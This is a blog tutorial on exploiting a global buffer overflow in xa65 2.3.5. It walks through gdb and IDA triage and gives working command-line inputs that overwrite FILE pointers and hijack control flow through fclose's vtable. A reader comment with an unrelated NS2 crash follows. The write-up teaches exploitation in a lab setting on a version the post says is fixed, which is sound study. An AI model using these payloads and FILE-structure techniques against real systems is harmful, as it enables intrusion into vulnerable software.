(french version here)

Introduction

During my work with Gustavo Grieco, I occasionally have to study some vulnerability. Today I will talk about one that I recently studied, I think this one is quite instructive.

The vulnerability is in xa (package xa65, version  2.3.5), if you want to do the manipulation in the same environment, I suggest you to dl the VM from the ocean project : https://github.com/neuromancer/ocean-data (if you need help to configure it, you can send me a message, or directly contact the author, he is reactive)

The crash

The starting point is to launch xa with a long string as parameter :

vagrant@vagrant:~$ xa $(python -c 'print "A"*3000')

We obtain a “Segmentation fault”.

First reaction, we launch again with a tool of tracing, ltrace for example

vagrant@vagrant:~$ ltrace xa $(python -c 'print "A"*3000')

The last lines of ltrace speak for themselves :

fputs("Couldn't open source file 'AAAAA"..., 0x41414141 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

The program crash on fputs, fputs takes two arguments, one string and one FILE pointer.

0x41 is ‘A’ in ASCCI (our input), so we suspect that we are dealing with a buffer overflow, and we re-write a FILE pointer close to the buffer that we overflow.

So go play with gdb :

vagrant@vagrant:~$ gdb xa
(gdb) run $(python -c 'print "A"*3000')

With the backtrace command (bt in shortcut), we can know the different call before the crash :

(gdb) bt
#0  0xb7eb6098 in fputs () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1  0x08048cc0 in ?? ()
#2  0x0804a2a0 in ?? ()
#3  0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#4  0x08048bd1 in ?? (

So the call to fputs is just before the instruction 0x08048cc0 :

(gdb) x/2i 0x08048cc0-0x5
0x8048cbb:    call   0x8048930 <fputs@plt>
0x8048cc0:    add    $0x14,%esp

(x/2i to print 2 instructions, 0x5 is the size of the “call ADDR ” instruction)

So know, let play with IDA, to have a better view of the whole programme (xa is open source, we could of course use the source-code, but we would lose all the fun :p )

After opening xa in IDA, we can go to the instruction 0x8048cbb (menu -> “Jump” -> “Jump to address”)

IDA1

I rename the function “crash_here” (with the “rename” option, or with the shortcut “n”)

We see that fputs take as argument the same as crash_here (called “s” by IDA).  The interesting point is that the second argument (the FILE pointer) comes from the bss section (call ds:stream in IDA). So we can suspect that the buffer overflow occurs in a global variable.

Let’s go see what are in the global variables with IDA (double-clicking on stream) :

IDA2

We can see something that is interesting, a buffer (“s”), followed by a timer, a __IO_FILE pointer “fp”, and the  FILE pointer “stream”.

Intuitively, we suspect that the overflow should occurs in “s”.

We can check this from gdb. Let’s put a breakpoint before fputs :

(gdb) b *0x8048cbb
Breakpoint 1 at 0x8048cbb

Run the program again :

(gdb) run $(python -c 'print "A"*3000')

With IDA we know the address of the  global variables :
bss:08058440 ; char s[2048]
.bss:08058C48 ; _IO_FILE *fp
.bss:08058C4C ; FILE *stream

Let’s see with gdb what is inside theses variables before the breakpoint :

(gdb) x/wx 0x08058C4C
0x8058c4c:    0x41414141
(gdb) x/wx 0x08058C48
0x8058c48:    0x41414141

We indeed obtain A for “fp” and “stream”, but something strange happens :

(gdb) x/wx 0x8058440
0x8058440:    0x6c756f43

It’s not A in “s”. However theses values looks like ASCCI value, so let’s print “s” as a string :

(gdb) x/s 0x8058440
0x8058440:     "Couldn't open source file '", 'A' <repeats 173 times>...

(x/s to print a variable as a string).

What you should understand here, is “s” is full of A, but start with another string “Couldn’t open source file ‘”.

We can now calculate from which octet in the input we control the value in stream. To do this you can use the pattern technic (for people in Grenoble, we saw that in the last talk of Boyan). Or you can manually calculate it (I let you find how do this :p )

We control stream after a padding of 2033, let’s verify this :

(gdb) run $(python -c 'print "A"*2033+"B"*4')
...
Breakpoint 1, 0x08048cbb in ?? () 
(gdb) x/wx $esp+4 
0xbfffca14:    0x42424242

(same breakpoint as before, $esp+4 to print the second parameter that we provide to fputs)

The next step, is to find when the overflow is occurs ?

gdb will help us, we put a watchpoint to the stream address to know when it will be modified (some explanations on watchpoint : https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html)

(gdb) watch *0x8058C4C
Hardware watchpoint 2: *0x8058C4C
(gdb) run $(python -c 'print "A"*2033+"B"*4')

...

Old value = 0
New value = 1111638594
0xb7ece44e in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6

So the value is modified by a libc’s function. Let’s check the previous call :

(gdb) bt
#0  0xb7ece44e in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1  0xb7ec34a3 in _IO_default_xsputn () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#2  0xb7e981ea in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#3  0xb7eb801c in vsprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#4  0xb7e9df0b in sprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#5  0x0804a294 in ?? ()
#6  0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#7  0x08048bd1 in ?? ()

(gdb) x/2i 0x0804a294-0x5
0x804a28f:    call   0x8048940 <sprintf@plt>
0x804a294:    movl   $0x8058440,(%esp)

So it’s modified by a call to sprintf.

Go back in IDA, and let’s see what happens in the instruction 0x804a28f.

IDA3

We see that the string given to sprintf contains the string previously seen, followed by a “%s” and some ending character  : “Couldn’t open source file ‘%s’!\n”

The exploit

So we know how to control the value in stream just before the call to fputs, we know where the overflow occurs. Now what we can do ?

The thing to know, is that FILE pointer has a table of virtual function, that we can exploit in some function (this technic is well explained here : http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure , if some people wants, I  could further explain this later in another article, or during a presentation).

Exploit some function is quite easy (fclose for example). In other one it’s possible, but I never tried. fputs belonging of theses that I never tried. I did this exploit in a train, so at this point I wanted to find a call to fclose with a controlled pointer, and not try on fputs. (notes :  With hindsight, exploit fputs is as easy as exploit a fclose. I realise this exploit in a train, and I had nothing else to do at this time, so I made a mistake  by wanting to find a call to fclose, this made the exploit lightly more difficult :p More complicated it is, more funnier it is, so I decide to let this version for the article. The skilled reader would know how to do a exploit slightly easier ).
Se was that during the overflow, we overwite a other pointer, called “fp” in IDA.

What would happen if fputs worked and if the program continued to run ? We know that we control stream with a padding of 2033, but we control also fp with a padding a 2029.

However because of the ending caracter added by the string “Couldn’t open source file ‘%s’!\n”, we are able to control fp without overwrite “stream” (“!\n” is added at the end of the string). We will see later how to solve this. In a first time, let’s overwrite fp without stream, so we can just write 2029 caractere, that will overwrite “fp” with “!\n”.

schema1
(gdb) run $(python -c 'print "A"*2029')
Program received signal SIGSEGV, Segmentation fault.
0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6

Interesting, we crash on fclose !

Let’s check the value given to fclose (same methodology as see previously, a skilled reader should know how to do this quickly ;))

(gdb) bt
#0  0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1  0x0804a4d4 in ?? ()
#2  0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#3  0x08048bd1 in ?? ()
(gdb) x/2i 0x0804a4d4-0x5
0x804a4cf:    call   0x8048a30 <fclose@plt>
0x804a4d4:    call   0x804c210
(gdb) b * 0x804a4cf
(gdb) run $(python -c 'print "A"*2029')
...
(gdb) x/x $esp
0xbfffca30:    0x000a2127
(gdb) x/s $esp
0xbfffca30:     "'!\n"

Jackpot, we control the pointer given to fclose !

Out of curiosity, let’s check what is in the fonction that contains the instruction 0x804a4cf :

IDA4

We saw again “fp”. We note that we are in the same function that was calling sprintf.

We have still a problem, how to control “fp”, without make crash the call to fputs ?

To fix this, I simply use the pointer use by stderr !

(gdb) x/x stderr
0xb7fb4580

So at this moment, my input is like this :

schema2
(gdb) run $(python -c "print 'A'*2029+'B'*4+'\x80\x45\xfb\xb7'")
..
0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6

We crash in a call to fclose. The fix of “steam” worked. However, by being careful, we notice that we don’t crash in the same call to fclose !

(gdb) bt
#0  0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1  0x0804a4c3 in ?? ()
#2  0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#3  0x08048bd1 in ?? ()
(gdb) x/i 0x0804a4c3-0x5
0x804a4be:    call   0x8048a30 <fclose@plt>
(gdb) b * 0x804a4be:
(gdb) x/x $esp
0xbfffca30:    0x000a2127
(gdb) x/s $esp
0xbfffca30:     "'!\n"

So our input have probably overwrite a FILE pointer that is used in a fclose before “fp”. The interesting thing, is that the value of the pointer is our ending caractere ! So this should be the variable just after “fp” ! (IDA called this one “dword_8058C50”, we will called it “ptr” in the rest of the article).

So let’s modify our input !

(gdb) run $(python -c "print 'A'*2033+'\x80\x45\xfb\xb7'+'B'*4")
Breakpoint 4, 0x0804a4be in ?? ()
(gdb) x/i $eip
=> 0x804a4be:    call   0x8048a30 <fclose@plt>
(gdb) x/wx $esp
0xbfffca30:    0x42424242

So, finally we control the pointer given to fclose ! (notes : :from this, if we would exploit fputs, the technic will be the same )

As explained earlier, the idea is to give to fclose a pointer to a controled area. Like this we will control the virtual table used by fclose.

So our input looks like this :

schema3

addr, addr2 and the last padding are variables values. I let you play with them ūüôā

Just remember that we control the memory starting from “s” (0x08058440), and addr1 needs to point to the place in memory where addr2 is.

In my exemple, I choose to use the same value for addr1 and addr2, but this is not mandatory.

(gdb) run $(python -c "print 'A'*2033+'\x80\x45\xfb\xb7'+'\x50\x8c\x05\x08'+'\x50\x8c\x05\x08'+'A'*68+'B'*4")
..
0xb7f650b1 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7f650b1 <fclose+145>:    call   *0x8(%eax)
(gdb) x/x $eax
0x42424242:    Cannot access memory at address 0x42424242

(the padding of 68 can be find by looking into the FILE format, or just with the pattern technics if you are lazy)

So we control the value of eax when where are in the call *(eax+0x8) instruction.

We are in a call*, so we just need to take into account a last indirection :

(gdb) run $(python -c "print 'A'*2033+'\x80\x45\xfb\xb7'+'\x50\x8c\x05\x08'+'\x50\x8c\x05\x08'+'C'*4+'A'*64+'\x50\x8c\x05\x08'")
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

Conclusion

We control now the execution flow. But the stack is not executable here, so the next step will be to build a ROP, and I let you do this part ūüôā

 readelf -lW /usr/bin/xa | grep GNU_STACK
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

On other system, this vuln wont be so easy to exploit (because of some protection of the system). I quickly tried on Ubuntu, and the buffer overflow is detected during the sprintf.

There is a new version of xa (2.3.6), and the vuln is fixed in this one. But funny fact, when you use a bigger input, you have a new crash :

xa $(python -c "print 'A'*20000")
...
Segmentation fault

If someone wants to play with this one, let me know ūüôā

One Thought on “Buffer overflow exploitation

  1. hi
    wow this article is so useful .i am newbie in linux. can you help me? i work with network simulation (NS2) in linux. i run a tcl file and now i get this error but i dont know what i should do…

    (gdb) r sm4.tcl

    Starting program: /usr/local/bin/ns sm4.tcl
    num_nodes is set 3
    INITIALIZE THE LIST xListHead
    Starting Simulation…

    Program received signal SIGSEGV, Segmentation fault.
    0xb7d0afef in vfprintf () from /lib/i386-linux-gnu/libc.so.6
    (gdb) bt
    #0 0xb7d0afef in vfprintf () from /lib/i386-linux-gnu/libc.so.6
    #1 0xb7d29962 in vsprintf () from /lib/i386-linux-gnu/libc.so.6
    #2 0xb7d1031f in sprintf () from /lib/i386-linux-gnu/libc.so.6
    #3 0x082d330e in CMUTrace::format_rtaodv (this=0x8921fb8, p=0x89cfb00,
    offset=76) at trace/cmu-trace.cc:967
    #4 0x082d5786 in CMUTrace::format (this=0x8921fb8, p=0x89cfb00,
    why=0x8515dbe “—“) at trace/cmu-trace.cc:1550
    #5 0x082d59f9 in CMUTrace::recv (this=0x8921fb8, p=0x89cfb00, h=0x0)
    at trace/cmu-trace.cc:1646
    #6 0x081e2f87 in NsObject::handle (this=0x8921fb8, e=0x89cfb00)
    at common/object.cc:93
    #7 0x081e0257 in Scheduler::dispatch (this=0x88ce018, p=0x89cfb00, t=0)
    at common/scheduler.cc:150
    #8 0x081e0190 in Scheduler::run (this=0x88ce018) at common/scheduler.cc:129
    #9 0x081e0339 in Scheduler::command (this=0x88ce018, argc=2, argv=0xbfffe320)
    at common/scheduler.cc:198
    #10 0x084050f9 in OTclDispatch (cd=0x88cf668, in=0x86e4d10, argc=3,
    argv=0x86e58e0) at otcl.c:455
    #11 0x0840b711 in TclInvokeStringCommand ()
    #12 0x08410236 in TclEvalObjvInternal ()
    #13 0x0845910b in TclExecuteByteCode ()
    #14 0x08460bec in TclCompEvalObj ()
    #15 0x08459026 in TclExecuteByteCode ()
    #16 0x0849d02d in TclObjInterpProcCore ()
    #17 0x0849d390 in TclObjInterpProc ()
    #18 0x0840b853 in TclInvokeObjectCommand ()
    #19 0x08405211 in OTclDispatch (cd=0x88cf668, in=0x86e4d10, argc=2,
    argv=0x86e57d8) at otcl.c:498
    #20 0x0840b711 in TclInvokeStringCommand ()
    #21 0x08410236 in TclEvalObjvInternal ()
    #22 0x0845910b in TclExecuteByteCode ()
    #23 0x0849d02d in TclObjInterpProcCore ()
    #24 0x0849d390 in TclObjInterpProc ()
    #25 0x0840b853 in TclInvokeObjectCommand ()
    #26 0x084050f9 in OTclDispatch (cd=0x88c7548, in=0x86e4d10, argc=2,
    argv=0x86e56c8) at otcl.c:455
    #27 0x0840b711 in TclInvokeStringCommand ()
    #28 0x08410236 in TclEvalObjvInternal ()
    #29 0x08411fc9 in TclEvalEx ()
    #30 0x0841254b in Tcl_EvalEx ()
    #31 0x0847cf91 in Tcl_FSEvalFileEx ()
    #32 0x08483140 in Tcl_Main ()
    #33 0x08400ff2 in nslibmain (argc=2, argv=0xbffff254)
    at common/tclAppInit.cc:67
    #34 0x0840114b in main (argc=2, argv=0xbffff254)
    at common/main-monolithic.cc:46

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Post Navigation